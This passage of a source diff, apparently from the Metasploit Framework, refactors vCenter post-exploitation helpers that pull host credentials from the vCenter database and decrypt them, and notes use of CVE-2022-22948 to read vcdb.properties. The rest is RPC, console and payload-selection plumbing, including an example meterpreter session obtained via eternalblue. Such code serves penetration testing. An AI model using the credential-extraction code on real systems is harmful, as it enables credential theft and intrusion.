def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = {}
|
||||
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
|
||||
return nil if vpx_customization_specs.nil?
|
||||
|
||||
vpx_customization_specs = vpx_customization_specs.split("\n")
|
||||
return nil unless vpx_customization_specs.first
|
||||
|
||||
vpx_customization_specs.each do |spec|
|
||||
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
|
||||
next if xml.nil?
|
||||
|
||||
begin
|
||||
xmldoc = Nokogiri::XML(xml) do |config|
|
||||
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
|
||||
end
|
||||
rescue Nokogiri::XML::SyntaxError
|
||||
print_bad("Unable to read XML from #{spec}")
|
||||
next
|
||||
end
|
||||
output[spec] = xmldoc
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of virtual machines located on the server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
|
||||
return nil if vm_rows.nil?
|
||||
|
||||
vm_rows = vm_rows.split("\n")
|
||||
return nil unless vm_rows.first
|
||||
|
||||
vm_rows.each do |vm_row|
|
||||
row_data = vm_row.split('|')
|
||||
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
vm = {
|
||||
'vmid' => row_data[0],
|
||||
'name' => row_data[1],
|
||||
'configfilename' => row_data[3],
|
||||
'guest_state' => row_data[4],
|
||||
'is_template' => row_data[5]
|
||||
}
|
||||
output.append(vm)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
|
||||
return nil if vpxuser_rows.nil?
|
||||
|
||||
vpxuser_rows = vpxuser_rows.split("\n")
|
||||
return nil unless vpxuser_rows.first
|
||||
|
||||
vpxuser_rows.each do |vpxuser_row|
|
||||
row_data = vpxuser_row.split('|')
|
||||
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'fqdn' => row_data[0],
|
||||
'ip' => row_data[1],
|
||||
'user' => row_data[2]
|
||||
}
|
||||
|
||||
vpxuser_secret_b64 = row_data[3].gsub('*', '')
|
||||
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# helper function to decrypt passwords stored in the pg database
|
||||
# @param b64 [String] base64 string of the password exported from postgres
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [String] the decrypted password, nil on error
|
||||
|
||||
def vpx_aes_decrypt(b64, vc_sym_key)
|
||||
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
|
||||
secret_bytes = Base64.strict_decode64(b64)
|
||||
iv = secret_bytes[0, 16]
|
||||
ciphertext = secret_bytes[16, 64]
|
||||
decipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
decipher.decrypt
|
||||
decipher.iv = iv
|
||||
decipher.padding = 1
|
||||
decipher.key = vc_sym_key
|
||||
return (decipher.update(ciphertext) + decipher.final).delete("\000")
|
||||
rescue StandardError => e
|
||||
elog('Error performing vpx_aes_decrypt', error: e)
|
||||
''
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -5,6 +5,7 @@ module Msf
|
||||
module Vcenter
|
||||
module Vcenter
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
|
||||
def manifest_file
|
||||
'/opt/vmware/etc/appliance-manifest.xml'
|
||||
@@ -46,6 +47,10 @@ module Msf
|
||||
'/opt/vmware/vpostgres/current/bin/psql'
|
||||
end
|
||||
|
||||
def vcd_properties_file
|
||||
'/etc/vmware-vpx/vcdb.properties'
|
||||
end
|
||||
|
||||
#
|
||||
# Function to determine if a string is a valid FQDN or not
|
||||
# @param fqdn [String] the string to check if it is a valid FQDN or not
|
||||
@@ -348,160 +353,22 @@ module Msf
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# A helper function to return the command line statement string to connect to the postgress server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
|
||||
# @return [String] a string to run on command line
|
||||
#
|
||||
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
|
||||
# should come in wrapped in quotes, but if not wrap
|
||||
unless pg_password.start_with?("'") && pg_password.end_with?("'")
|
||||
pg_password = "'#{pg_password}'"
|
||||
end
|
||||
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
|
||||
#
|
||||
def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = {}
|
||||
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
|
||||
return nil if vpx_customization_specs.nil?
|
||||
|
||||
vpx_customization_specs = vpx_customization_specs.split("\n")
|
||||
return nil unless vpx_customization_specs.first
|
||||
|
||||
vpx_customization_specs.each do |spec|
|
||||
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
|
||||
next if xml.nil?
|
||||
|
||||
begin
|
||||
xmldoc = Nokogiri::XML(xml) do |config|
|
||||
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
|
||||
end
|
||||
rescue Nokogiri::XML::SyntaxError
|
||||
print_bad("Unable to read XML from #{spec}")
|
||||
next
|
||||
end
|
||||
output[spec] = xmldoc
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# helper function to decrypt passwords stored in the pg database
|
||||
# @param b64 [String] base64 string of the password exported from postgres
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [String] the decrypted password, nil on error
|
||||
|
||||
def vpx_aes_decrypt(b64, vc_sym_key)
|
||||
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
|
||||
secret_bytes = Base64.strict_decode64(b64)
|
||||
iv = secret_bytes[0, 16]
|
||||
ciphertext = secret_bytes[16, 64]
|
||||
decipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
decipher.decrypt
|
||||
decipher.iv = iv
|
||||
decipher.padding = 1
|
||||
decipher.key = vc_sym_key
|
||||
return (decipher.update(ciphertext) + decipher.final).delete("\000")
|
||||
rescue StandardError => e
|
||||
elog('Error performing vpx_aes_decrypt', error: e)
|
||||
''
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
|
||||
return nil if vpxuser_rows.nil?
|
||||
|
||||
vpxuser_rows = vpxuser_rows.split("\n")
|
||||
return nil unless vpxuser_rows.first
|
||||
|
||||
vpxuser_rows.each do |vpxuser_row|
|
||||
row_data = vpxuser_row.split('|')
|
||||
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'fqdn' => row_data[0],
|
||||
'ip' => row_data[1],
|
||||
'user' => row_data[2]
|
||||
}
|
||||
|
||||
vpxuser_secret_b64 = row_data[3].gsub('*', '')
|
||||
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of virtual machines located on the server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
|
||||
return nil if vm_rows.nil?
|
||||
|
||||
vm_rows = vm_rows.split("\n")
|
||||
return nil unless vm_rows.first
|
||||
|
||||
vm_rows.each do |vm_row|
|
||||
row_data = vm_row.split('|')
|
||||
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
vm = {
|
||||
'vmid' => row_data[0],
|
||||
'name' => row_data[1],
|
||||
'configfilename' => row_data[3],
|
||||
'guest_state' => row_data[4],
|
||||
'is_template' => row_data[5]
|
||||
}
|
||||
output.append(vm)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash table of the vcdb.properties file
|
||||
# @param location [String] where the file is located. defaults to /etc/vmware-vpx/vcdb.properties
|
||||
# @return [Hash] hash of the file contents, nil on error
|
||||
#
|
||||
def process_vcdb_properties_file(location = '/etc/vmware-vpx/vcdb.properties')
|
||||
def process_vcdb_properties_file(location = vcd_properties_file)
|
||||
return nil unless file_exist?(location)
|
||||
|
||||
contents = read_file(location)
|
||||
return nil if contents.nil?
|
||||
|
||||
if location == vcd_properties_file && is_root? == false
|
||||
print_good('Exploited CVE-2022-22948 to read #{vcd_properties_file}')
|
||||
end
|
||||
output = {}
|
||||
contents.split("\n").each do |line|
|
||||
contents.each_line(chomp: true) do |line|
|
||||
next unless line.include?('=') # attempt to do a little quality control
|
||||
|
||||
line = line.split('=')
|
||||
|
||||
@@ -41,7 +41,7 @@ module Msf::RPC::JSON
|
||||
# @param symbol [Symbol] the symbol for the method called
|
||||
# @param args [Array] any positional arguments passed to the method
|
||||
# @param keyword_args [Hash] any keyword arguments passed to the method
|
||||
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
|
||||
# @return [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
|
||||
def method_missing(symbol, *args, **keyword_args, &block)
|
||||
# assemble method parameters
|
||||
if !args.empty? && !keyword_args.empty?
|
||||
@@ -60,7 +60,7 @@ module Msf::RPC::JSON
|
||||
# Asynchronously processes the RPC method invocation.
|
||||
# @param method [Symbol] the method
|
||||
# @param params [Array, Hash] any arguments passed to the method
|
||||
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
|
||||
# @return [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
|
||||
def process_call_async(method, params)
|
||||
req = Request.new(@uri,
|
||||
api_token: @api_token,
|
||||
|
||||
@@ -82,12 +82,9 @@ module Msf::RPC::JSON
|
||||
|
||||
# Validate and execute the JSON-RPC request.
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [RpcCommand] an RpcCommand for the specified version
|
||||
# @raise [InvalidParams] ArgumentError occurred during execution.
|
||||
# @raise [ApplicationServerError] General server-error wrapper around an
|
||||
# Msf::RPC::Exception that occurred during execution.
|
||||
# @returns [Hash] JSON-RPC response that encapsulates the RPC result
|
||||
# if successful; otherwise, a JSON-RPC error response.
|
||||
# @raise [ApplicationServerError] General server-error wrapper around an Msf::RPC::Exception that occurred during execution.
|
||||
# @return [Hash, nil] JSON-RPC response that encapsulates the RPC result, or Nil if a Notification request was sent.
|
||||
def process_request(request)
|
||||
begin
|
||||
if !validate_rpc_request(request)
|
||||
@@ -123,7 +120,7 @@ module Msf::RPC::JSON
|
||||
|
||||
# Validate the JSON-RPC request.
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [Boolean] true if the JSON-RPC request is valid; otherwise, false.
|
||||
# @return [Boolean] true if the JSON-RPC request is valid; otherwise, false.
|
||||
def validate_rpc_request(request)
|
||||
# validate request is an object
|
||||
return false unless request.is_a?(Hash)
|
||||
@@ -168,7 +165,7 @@ module Msf::RPC::JSON
|
||||
# Create a JSON-RPC success response.
|
||||
# @param result [Object] the RPC method's return value
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [Hash] JSON-RPC success response.
|
||||
# @return [Hash] JSON-RPC success response.
|
||||
def self.create_success_response(result, request = nil)
|
||||
response = {
|
||||
# A String specifying the version of the JSON-RPC protocol.
|
||||
@@ -188,7 +185,7 @@ module Msf::RPC::JSON
|
||||
# Create a JSON-RPC error response.
|
||||
# @param error [RpcError] a RpcError instance
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [Hash] JSON-RPC error response.
|
||||
# @return [Hash] JSON-RPC error response.
|
||||
def self.create_error_response(error, request = nil)
|
||||
response = {
|
||||
# A String specifying the version of the JSON-RPC protocol.
|
||||
|
||||
@@ -6,7 +6,7 @@ module Msf::RPC::JSON
|
||||
# @param dispatchers [Hash] hash of version Symbol - Msf::RPC::JSON::Dispatcher object pairs
|
||||
# @param version [Symbol] the RPC version
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
|
||||
# @return [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
|
||||
def get_dispatcher(dispatchers, version, framework)
|
||||
unless dispatchers.key?(version)
|
||||
dispatchers[version] = create_dispatcher(version, framework)
|
||||
@@ -18,7 +18,7 @@ module Msf::RPC::JSON
|
||||
# Create an RPC Dispatcher composed of an RpcCommand for the provided version.
|
||||
# @param version [Symbol] the RPC version
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @returns [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
|
||||
# @return [Msf::RPC::JSON::Dispatcher] an RPC Dispatcher for the specified version
|
||||
def create_dispatcher(version, framework)
|
||||
command = RpcCommandFactory.create(version, framework)
|
||||
dispatcher = Dispatcher.new(framework)
|
||||
|
||||
@@ -178,7 +178,7 @@ module Msf::RPC::JSON
|
||||
# @param response [Hash] A response hash.
|
||||
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
|
||||
# processing JSON objects; otherwise, strings are used. Default: true
|
||||
# @returns [ErrorResponse] ErrorResponse object that represents the response hash.
|
||||
# @return [ErrorResponse] ErrorResponse object that represents the response hash.
|
||||
def self.parse(response, symbolize_names: true)
|
||||
id_key = symbolize_names ? :id : :id.to_s
|
||||
error_key = symbolize_names ? :error : :error.to_s
|
||||
|
||||
@@ -138,7 +138,7 @@ module Msf::RPC::JSON
|
||||
|
||||
# Validate the JSON-RPC response.
|
||||
# @param response [Hash] the JSON-RPC response
|
||||
# @returns [Boolean] true if the JSON-RPC response is valid; otherwise, false.
|
||||
# @return [Boolean] true if the JSON-RPC response is valid; otherwise, false.
|
||||
def valid_rpc_response?(response)
|
||||
# validate response is an object
|
||||
return false unless response.is_a?(Hash)
|
||||
|
||||
@@ -10,7 +10,7 @@ module Msf::RPC::JSON
|
||||
# @param response [Hash] A response hash.
|
||||
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
|
||||
# processing JSON objects; otherwise, strings are used. Default: true
|
||||
# @returns [Response] Response object that represents the response hash.
|
||||
# @return [Response] Response object that represents the response hash.
|
||||
def self.parse(response, symbolize_names: true)
|
||||
id_key = symbolize_names ? :id : :id.to_s
|
||||
result_key = symbolize_names ? :result : :result.to_s
|
||||
|
||||
@@ -15,7 +15,7 @@ module Msf::RPC::JSON
|
||||
# Add a method to the RPC Command
|
||||
# @param method [Method] the Method
|
||||
# @param name [String] the name the method is register under. The method name is used if nil.
|
||||
# @returns [Method] the Method.
|
||||
# @return [Method] the Method.
|
||||
def register_method(method, name: nil)
|
||||
if name.nil?
|
||||
if method.is_a?(Method)
|
||||
@@ -33,7 +33,7 @@ module Msf::RPC::JSON
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @raise [MethodNotFound] The method does not exist
|
||||
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
|
||||
# @returns [Object] the method's return value.
|
||||
# @return [Object] the method's return value.
|
||||
def execute(method, params)
|
||||
unless @methods.key?(method)
|
||||
raise MethodNotFound.new(method)
|
||||
|
||||
@@ -7,7 +7,7 @@ module Msf::RPC::JSON
|
||||
# @param version [Symbol] the RPC version
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @raise [ArgumentError] invalid RPC version
|
||||
# @returns [RpcCommand] an RpcCommand for the specified version
|
||||
# @return [RpcCommand] an RpcCommand for the specified version
|
||||
def self.create(version, framework)
|
||||
case version
|
||||
when :v1, :v1_0, :v10
|
||||
@@ -21,7 +21,7 @@ module Msf::RPC::JSON
|
||||
|
||||
# Creates an RpcCommand for a demonstration RPC version 2.0.
|
||||
# @param framework [Msf::Simple::Framework] Framework wrapper instance
|
||||
# @returns [RpcCommand] an RpcCommand for a demonstration RPC version 2.0
|
||||
# @return [RpcCommand] an RpcCommand for a demonstration RPC version 2.0
|
||||
def self.create_rpc_command_v2_0(framework)
|
||||
# TODO: does belong in some sort of loader class for an RPC version?
|
||||
# instantiate receiver
|
||||
|
||||
@@ -32,7 +32,7 @@ module Msf::RPC::JSON
|
||||
# returning the method's return value.
|
||||
# @param method [String] the RPC method name
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @returns [Object] the method's return value.
|
||||
# @return [Object] the method's return value.
|
||||
def execute(method, params)
|
||||
result = execute_internal(method, params)
|
||||
result = post_process_result(result, method, params)
|
||||
@@ -48,7 +48,7 @@ module Msf::RPC::JSON
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @raise [MethodNotFound] The method does not exist
|
||||
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
|
||||
# @returns [Object] the method's return value.
|
||||
# @return [Object] the method's return value.
|
||||
def execute_internal(method, params)
|
||||
group, base_method = parse_method_group(method)
|
||||
|
||||
@@ -78,7 +78,7 @@ module Msf::RPC::JSON
|
||||
|
||||
# Parse method string in the format "group.base_method_name".
|
||||
# @param method [String] the RPC method name
|
||||
# @returns [Array] Tuple of strings, group and base_method
|
||||
# @return [Array] Tuple of strings, group and base_method
|
||||
def parse_method_group(method)
|
||||
idx = method.rindex(METHOD_GROUP_SEPARATOR)
|
||||
if idx.nil?
|
||||
@@ -95,7 +95,7 @@ module Msf::RPC::JSON
|
||||
# @param handlers [Hash] hash of group String - Msf::RPC::RPC_Base object pairs
|
||||
# @param group [String] the RPC group
|
||||
# @param method_name [String] the RPC method name
|
||||
# @returns [Msf::RPC::RPC_Base] concrete Msf::RPC::RPC_Base instance if one exists; otherwise, nil.
|
||||
# @return [Msf::RPC::RPC_Base] concrete Msf::RPC::RPC_Base instance if one exists; otherwise, nil.
|
||||
def find_handler(handlers, group, method_name)
|
||||
handler = nil
|
||||
if !handlers[group].nil? && handlers[group].respond_to?(method_name)
|
||||
@@ -108,7 +108,7 @@ module Msf::RPC::JSON
|
||||
# Prepare params for use by RPC methods by converting all hashes
|
||||
# inside of Arrays to use strings for their names (keys).
|
||||
# @param params [Object] parameters for the RPC call
|
||||
# @returns [Object] If params is an Array all hashes it contains will be
|
||||
# @return [Object] If params is an Array all hashes it contains will be
|
||||
# modified; otherwise, the object will simply pass-through.
|
||||
def prepare_params(params)
|
||||
clean_params = params
|
||||
@@ -127,7 +127,7 @@ module Msf::RPC::JSON
|
||||
|
||||
# Stringify the names (keys) in hash.
|
||||
# @param hash [Hash] input hash
|
||||
# @returns [Hash] a new hash with strings for the keys.
|
||||
# @return [Hash] a new hash with strings for the keys.
|
||||
def stringify_names(hash)
|
||||
JSON.parse(JSON.dump(hash), symbolize_names: false)
|
||||
end
|
||||
@@ -136,7 +136,7 @@ module Msf::RPC::JSON
|
||||
# @param result [Object] the method's return value
|
||||
# @param method [String] the RPC method name
|
||||
# @param params [Array, Hash] parameters for the RPC call
|
||||
# @returns [Object] processed method's return value
|
||||
# @return [Object] processed method's return value
|
||||
def post_process_result(result, method, params)
|
||||
# post-process payload module result for JSON output
|
||||
if method == MODULE_EXECUTE_KEY && params.size >= 2 &&
|
||||
|
||||
@@ -467,7 +467,6 @@ class RPC_Module < RPC_Base
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Executes a module.
|
||||
#
|
||||
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||
@@ -738,6 +737,12 @@ private
|
||||
end
|
||||
|
||||
def _run_exploit(mod, opts)
|
||||
if mod.datastore['PAYLOAD']
|
||||
opts['PAYLOAD'] = mod.datastore['PAYLOAD']
|
||||
else
|
||||
opts['PAYLOAD'] = Msf::Payload.choose_payload(mod)
|
||||
end
|
||||
|
||||
s = Msf::Simple::Exploit.exploit_simple(mod, {
|
||||
'Payload' => opts['PAYLOAD'],
|
||||
'Target' => opts['TARGET'],
|
||||
@@ -846,4 +851,3 @@ private
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -56,12 +56,35 @@ class RPC_Session < RPC_Base
|
||||
end
|
||||
|
||||
|
||||
# Stops a session.
|
||||
# Stops a session - alias for killing a session in `msfconsole`
|
||||
#
|
||||
# @param [Integer] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] Unknown session ID.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] A message that says 'success'.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # You have an active session, you run session list to view the session number, then pass that session number to the `stop` command:
|
||||
# >> rpc.call('session.list')
|
||||
# {7=>
|
||||
# {"type"=>"meterpreter",
|
||||
# "tunnel_local"=>"192.168.xxx.xxx:4444",
|
||||
# "tunnel_peer"=>"192.168.xxx.xxx:64688",
|
||||
# "via_exploit"=>"exploit/windows/smb/ms17_010_eternalblue",
|
||||
# "via_payload"=>"payload/windows/x64/meterpreter/reverse_tcp",
|
||||
# "desc"=>"Meterpreter",
|
||||
# "info"=>"NT AUTHORITY\\SYSTEM @ DC1",
|
||||
# "workspace"=>"default",
|
||||
# "session_host"=>"192.168.xxx.xxx",
|
||||
# "session_port"=>445,
|
||||
# "target_host"=>"192.168.xxx.xxx",
|
||||
# "username"=>"foo",
|
||||
# "uuid"=>"h9pbmuoh",
|
||||
# "exploit_uuid"=>"tcjj1fqo",
|
||||
# "routes"=>"",
|
||||
# "arch"=>"x86",
|
||||
# "platform"=>"windows"}}
|
||||
# >> rpc.call('session.stop', 7)
|
||||
# => {"result"=>"success"}
|
||||
def rpc_stop( sid)
|
||||
|
||||
s = self.framework.sessions[sid.to_i]
|
||||
@@ -487,4 +510,3 @@ private
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -137,7 +137,12 @@ module SingleCommandShell
|
||||
|
||||
# Send the command to the session's stdin.
|
||||
delimiter = "echo #{token}"
|
||||
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
|
||||
if cmd.strip.end_with?(command_separator)
|
||||
# This command already ends with a delimiter - don't need to add another one
|
||||
shell_data = cmd + "#{delimiter}#{command_termination}"
|
||||
else
|
||||
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
|
||||
end
|
||||
unless @is_echo_shell
|
||||
shell_data = "#{delimiter}#{command_separator}#{shell_data}"
|
||||
end
|
||||
|
||||
@@ -136,6 +136,8 @@ module Common
|
||||
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
|
||||
end
|
||||
|
||||
print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info')}, or #{Msf::Ui::Tip.highlight('info -d')} command.\n\n")
|
||||
|
||||
# Uncomment this line if u want target like msf2 format
|
||||
#print("\nTarget: #{mod.target.name}\n\n")
|
||||
end
|
||||
|
||||
@@ -21,6 +21,8 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
|
||||
def initialize(driver)
|
||||
super
|
||||
output, is_success = modified_files
|
||||
@modified_files = is_success ? output : []
|
||||
end
|
||||
|
||||
def name
|
||||
@@ -78,19 +80,15 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
end
|
||||
|
||||
def reload_changed_files
|
||||
# Using an array avoids shelling out, so we avoid escaping/quoting
|
||||
changed_files = %w[git diff --name-only]
|
||||
files, is_success = modified_files
|
||||
|
||||
output, status = Open3.capture2e(*changed_files, chdir: Msf::Config.install_root)
|
||||
|
||||
unless status.success?
|
||||
print_error("Git is not available: #{output.chomp}")
|
||||
unless is_success
|
||||
print_error("Git is not available")
|
||||
return
|
||||
end
|
||||
|
||||
files = output.split("\n")
|
||||
|
||||
files.each do |file|
|
||||
@modified_files |= files
|
||||
@modified_files.each do |file|
|
||||
next if file.end_with?('_spec.rb') || file.end_with?("spec_helper.rb")
|
||||
f = File.join(Msf::Config.install_root, file)
|
||||
reload_file(f, print_errors: false)
|
||||
@@ -435,4 +433,21 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
print @@time_opts.usage
|
||||
print_line
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def modified_files
|
||||
# Using an array avoids shelling out, so we avoid escaping/quoting
|
||||
changed_files = %w[git diff --name-only]
|
||||
begin
|
||||
output, status = Open3.capture2e(*changed_files, chdir: Msf::Config.install_root)
|
||||
is_success = status.success?
|
||||
output = output.split("\n")
|
||||
rescue => e
|
||||
elog(e)
|
||||
output = []
|
||||
is_success = false
|
||||
end
|
||||
return output, is_success
|
||||
end
|
||||
end
|
||||
|
||||
@@ -96,12 +96,6 @@ class Evasion
|
||||
|
||||
print_status "Payload Handler Started as Job #{job_id}"
|
||||
end
|
||||
|
||||
# This is the same functionality as Exploit::choose_payload, so call it
|
||||
def self.choose_payload(mod)
|
||||
Msf::Ui::Console::CommandDispatcher::Exploit.choose_payload(mod)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -269,64 +269,9 @@ class Exploit
|
||||
alias cmd_rerun_help cmd_rexploit_help
|
||||
|
||||
# Select a reasonable default payload and minimally configure it
|
||||
# TODO: Move this somewhere better or make it more dynamic?
|
||||
# @param [Msf::Module] mod
|
||||
def self.choose_payload(mod)
|
||||
compatible_payloads = mod.compatible_payloads(
|
||||
excluded_platforms: ['Multi'] # We don't want to select a multi payload
|
||||
).map(&:first)
|
||||
|
||||
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
|
||||
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
|
||||
|
||||
configure_payload = lambda do |payload|
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
payload_defaults = { 'PAYLOAD' => payload }
|
||||
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
|
||||
payload_defaults['LHOST'] = lhost
|
||||
end
|
||||
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
|
||||
else
|
||||
mod.datastore['PAYLOAD'] = payload
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
